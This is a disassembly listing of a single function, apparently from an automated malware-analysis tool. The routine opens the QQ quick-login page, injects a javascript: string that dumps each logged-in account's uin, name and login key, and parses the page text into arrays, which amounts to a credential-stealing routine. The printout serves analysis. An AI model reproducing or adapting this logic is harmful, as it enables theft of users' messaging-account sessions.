Function at 0x40261f
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [ebp - 4], 0
push 8
call fcn.0040dad8
add esp, 4
mov dword [ebp - 8], eax
mov ebx, eax
mov dword [ebx], 0
mov dword [ebx + 4], 0
mov dword [ebp - 0xc], 0
push 8
call fcn.0040dad8
add esp, 4
mov dword [ebp - 0x10], eax
mov edi, eax
mov esi, 0x49686b
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
mov dword [ebp - 0x14], 0
push 8
call fcn.0040dad8
add esp, 4
mov dword [ebp - 0x18], eax
mov edi, eax
mov esi, 0x49686b
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
push 8
call fcn.0040dad8
add esp, 4
mov dword [ebp - 0x1c], eax
mov ebx, eax
mov dword [ebx], 0
mov dword [ebx + 4], 0
mov ebx, dword [ebp + 8]
mov ebx, dword [ebx]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x4026d1
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x4026cd
imul eax, dword [ebx]
jmp 0x4026c2
mov ecx, eax
test ecx, ecx
je 0x402711
push ecx
push ebx
mov ebx, dword [ebx]
push ebx
push ebx
mov ebx, dword [ebx]
test ebx, ebx
je 0x4026ec
push ebx
call fcn.0040dade
add esp, 4
pop ebx
add ebx, 4
push ebx
mov ebx, dword [ebx]
test ebx, ebx
je 0x402700
push ebx
call fcn.0040dade
add esp, 4
pop ebx
call fcn.0040dade
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x4026d7
call fcn.0040dade
add esp, 4
mov eax, 0x49686b
mov ebx, dword [ebp + 8]
mov dword [ebx], eax
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push 0
push 0
push 0
push 0x10001
push 0x6017d5a
push 0x52017d1e
push 3
mov ebx, 0x40dc70
call fcn.0040dad2
add esp, 0x28
push 0
push str.http:__xui.ptlogin2.qq.com_cgi_bin_qlogin_domainqq.comlang2052qtarget0jumpnameptcssparamu1_253Dhttp_25253A_25252F_25252Fwww.qq.com_25252Fqq2012_25252FloginSuccess.htmcssmibao_csslow_login0
push 0xffffffffffffffff
push 0xb
push 0x16017d5b
push 0x52017d1e
call fcn.0040daf6
add esp, 0x18
push 0
mov ebx, 0x40ea70
call fcn.0040dad2
add esp, 4
push 0
mov ebx, 0x40ea70
call fcn.0040dad2
add esp, 4
push 0x40001
push 0x16017d5b
push 0x52017d1e
push 1
mov eax, 3
mov ebx, 0x462d30
call fcn.0040db02
add esp, 0x10
and eax, 1
xor eax, 1
test eax, eax
jne 0x402785
push 0
push str.javascript:for_var_C0_C_q_aUinList.length_C_var_Dq_aUinList_C__document.write_D.uin___D.name___D.key__r___
push 0xffffffffffffffff
push 0xb
push 0x16017d5b
push 0x52017d1e
call fcn.0040daf6
add esp, 0x18
push 0
mov ebx, 0x40ea70
call fcn.0040dad2
add esp, 4
push 0x40001
push 0x16017d5b
push 0x52017d1e
push 1
mov ebx, 0x40dc40
call fcn.0040dad2
add esp, 0x10
push eax
call fcn.00402de2
mov dword [ebp - 4], eax
push dword [ebp - 4]
call fcn.00402ee8
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
push eax
mov ebx, dword [ebp - 8]
push ebx
push 0x10030
push 0
push ebx
push 1
mov ebx, 0x40f720
call fcn.0040dad2
add esp, 0x10
call fcn.0040dade
add esp, 4
pop eax
mov dword [ebp - 8], eax
push 0
push 0
push 0
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
push str.documentElement
push 0x10030
push 0
push dword [ebp - 8]
push 3
mov ebx, 0x40edd0
call fcn.0040dad2
add esp, 0x28
mov dword [ebp - 0x20], eax
push 0
push 0
push 0
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
push str.innerText
push 0x10030
push 0
push dword [ebp - 0x20]
push 3
mov ebx, 0x40ed70
call fcn.0040dad2
add esp, 0x28
mov dword [ebp - 0x24], eax
mov ebx, dword [ebp - 0x20]
push ebx
push 0x10030
push 0
push ebx
push 1
mov ebx, 0x40f720
call fcn.0040dad2
add esp, 0x10
call fcn.0040dade
add esp, 4
mov eax, dword [ebp - 0x24]
push eax
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x4028ef
push ebx
call fcn.0040dade
add esp, 4
pop eax
mov dword [ebp - 0xc], eax
push 0
push 0
push 0
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
push 0x497d15
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x402918
mov eax, 0x4968a4
push eax
push 3
mov ebx, 0x40e430
call fcn.0040dad2
add esp, 0x28
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
push eax
mov ebx, dword [ebp - 0x10]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x402950
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x40294c
imul eax, dword [ebx]
jmp 0x402941
mov ecx, eax
test ecx, ecx
je 0x40296f
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x402968
push ebx
push eax
call fcn.0040dade
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x402956
call fcn.0040dade
add esp, 4
pop eax
mov dword [ebp - 0x10], eax
mov ebx, dword [ebp - 0x10]
call fcn.00401e0d
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
jne 0x4029c1
push 0
push 0
push 0
push 0x10001
push 0x6017d5a
push 0x52017d1e
push 2
mov ebx, 0x40ea80
call fcn.0040dad2
add esp, 0x1c
mov eax, 0
jmp 0x402cec
mov ebx, dword [ebp - 0x10]
call fcn.00401e0d
xor ecx, ecx
push eax
lea eax, [ebp - 0x14]
mov ebx, eax
pop eax
inc ecx
push ecx
push ebx
mov dword [ebx], ecx
push eax
cmp ecx, eax
jg 0x402c4c
mov ebx, dword [ebp - 0x10]
call fcn.00401e26
push ebx
push ecx
mov eax, dword [ebp - 0x14]
dec eax
jns 0x4029fd
push 4
call fcn.0040dae4
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x402a10
push 1
call fcn.0040dae4
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x20], ebx
push 0
push 0
push 0
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
push 0x497d17
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
mov ebx, dword [ebp - 0x20]
mov eax, dword [ebx]
test eax, eax
jne 0x402a3f
mov eax, 0x4968a4
push eax
push 3
mov ebx, 0x40e430
call fcn.0040dad2
add esp, 0x28
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
push eax
mov ebx, dword [ebp - 0x18]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x402a77
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x402a73
imul eax, dword [ebx]
jmp 0x402a68
mov ecx, eax
test ecx, ecx
je 0x402a96
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x402a8f
push ebx
push eax
call fcn.0040dade
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x402a7d
call fcn.0040dade
add esp, 4
pop eax
mov dword [ebp - 0x18], eax
mov ebx, dword [ebp - 0x18]
call fcn.00401e0d
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 3
jne 0x402c44
mov ebx, dword [ebp - 0x1c]
mov dword [ebp - 0x20], ebx
mov ebx, dword [ebp - 0x18]
call fcn.00401e26
mov eax, 0
cmp eax, ecx
jl 0x402adb
push 1
call fcn.0040dae4
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x24], ebx
mov ebx, dword [ebp - 0x24]
mov eax, dword [ebx]
test eax, eax
je 0x402b01
push eax
mov ebx, eax
call fcn.004011c3
inc eax
push eax
call fcn.0040dad8
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
push eax
mov ebx, dword [ebp - 0x20]
mov ebx, dword [ebx]
test ebx, ebx
je 0x402b14
push ebx
call fcn.0040dade
add esp, 4
pop eax
mov ebx, dword [ebp - 0x20]
mov dword [ebx], eax
mov ebx, dword [ebp - 0x1c]
add ebx, 4
mov dword [ebp - 0x20], ebx
mov ebx, dword [ebp - 0x18]
call fcn.00401e26
mov eax, 2
cmp eax, ecx
jl 0x402b41
push 1
call fcn.0040dae4
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x24], ebx
mov ebx, dword [ebp - 0x24]
mov eax, dword [ebx]
test eax, eax
je 0x402b67
push eax
mov ebx, eax
call fcn.004011c3
inc eax
push eax
call fcn.0040dad8
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
push eax
mov ebx, dword [ebp - 0x20]
mov ebx, dword [ebx]
test ebx, ebx
je 0x402b7a
push ebx
call fcn.0040dade
add esp, 4
pop eax
mov ebx, dword [ebp - 0x20]
mov dword [ebx], eax
push dword [ebp + 8]
push 4
mov eax, 2
call fcn.0040dacc
add esp, 8
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x20], eax
mov ebx, dword [ebp + 8]
mov ebx, dword [ebx]
mov dword [ebp - 0x24], ebx
call fcn.00401e26
mov dword [ebp - 0x28], ecx
mov edi, dword [ebp - 0x24]
mov dword [edi], 1
add edi, 4
mov eax, ecx
inc eax
mov dword [edi], eax
add edi, 4
cmp edi, ebx
je 0x402bc4
mov esi, ebx
rep movsd dword es:[edi], dword [esi]
mov eax, dword [ebp - 0x28]
inc eax
shl eax, 2
add eax, 8
push eax
push dword [ebp - 0x24]
call fcn.0040daf0
add esp, 8
mov ebx, dword [ebp + 8]
mov dword [ebx], eax
mov edi, eax
add edi, 8
mov eax, dword [ebp - 0x28]
shl eax, 2
add edi, eax
mov eax, dword [ebp - 0x20]
push edi
push eax
push 8
call fcn.0040dad8
add esp, 4
pop esi
mov edi, eax
push eax
lodsd eax, dword [esi]
push esi
push edi
test eax, eax
je 0x402c1e
push eax
mov ebx, eax
call fcn.004011c3
inc eax
push eax
call fcn.0040dad8
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
stosd dword es:[edi], eax
lodsd eax, dword [esi]
push esi
push edi
test eax, eax
je 0x402c3d
push eax
mov ebx, eax
call fcn.004011c3
inc eax
push eax
call fcn.0040dad8
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
stosd dword es:[edi], eax
pop eax
pop edi
mov dword [edi], eax
pop eax
pop ebx
pop ecx
jmp 0x4029d2
add esp, 0xc
mov eax, 0x4968a4
push eax
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x402c65
push ebx
call fcn.0040dade
add esp, 4
pop eax
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 0x10]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x402c87
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x402c83
imul eax, dword [ebx]
jmp 0x402c78
mov ecx, eax
test ecx, ecx
je 0x402ca6
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x402c9f
push ebx
push eax
call fcn.0040dade
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x402c8d
call fcn.0040dade
add esp, 4
mov eax, 0x49686b
mov dword [ebp - 0x10], eax
push 0
push 0
push 0
push 0x10001
push 0x6017d5a
push 0x52017d1e
push 2
mov ebx, 0x40ea80
call fcn.0040dad2
add esp, 0x1c
mov ebx, dword [ebp + 8]
mov ebx, dword [ebx]
call fcn.00401e0d
jmp 0x402cec
push eax
mov ebx, dword [ebp - 8]
push ebx
push 0x10030
push 0
push ebx
push 1
mov ebx, 0x40f720
call fcn.0040dad2
add esp, 0x10
call fcn.0040dade
add esp, 4
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x402d20
push ebx
call fcn.0040dade
add esp, 4
mov ebx, dword [ebp - 0x10]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x402d3e
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x402d3a
imul eax, dword [ebx]
jmp 0x402d2f
mov ecx, eax
test ecx, ecx
je 0x402d5d
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x402d56
push ebx
push eax
call fcn.0040dade
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x402d44
call fcn.0040dade
add esp, 4
mov ebx, dword [ebp - 0x18]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x402d83
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x402d7f
imul eax, dword [ebx]
jmp 0x402d74
mov ecx, eax
test ecx, ecx
je 0x402da2
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x402d9b
push ebx
push eax
call fcn.0040dade
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x402d89
call fcn.0040dade
add esp, 4
mov ebx, dword [ebp - 0x1c]
push ebx
push ebx
mov ebx, dword [ebx]
test ebx, ebx
je 0x402dbe
push ebx
call fcn.0040dade
add esp, 4
pop ebx
add ebx, 4
push ebx
mov ebx, dword [ebx]
test ebx, ebx
je 0x402dd2
push ebx
call fcn.0040dade
add esp, 4
pop ebx
call fcn.0040dade
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret 4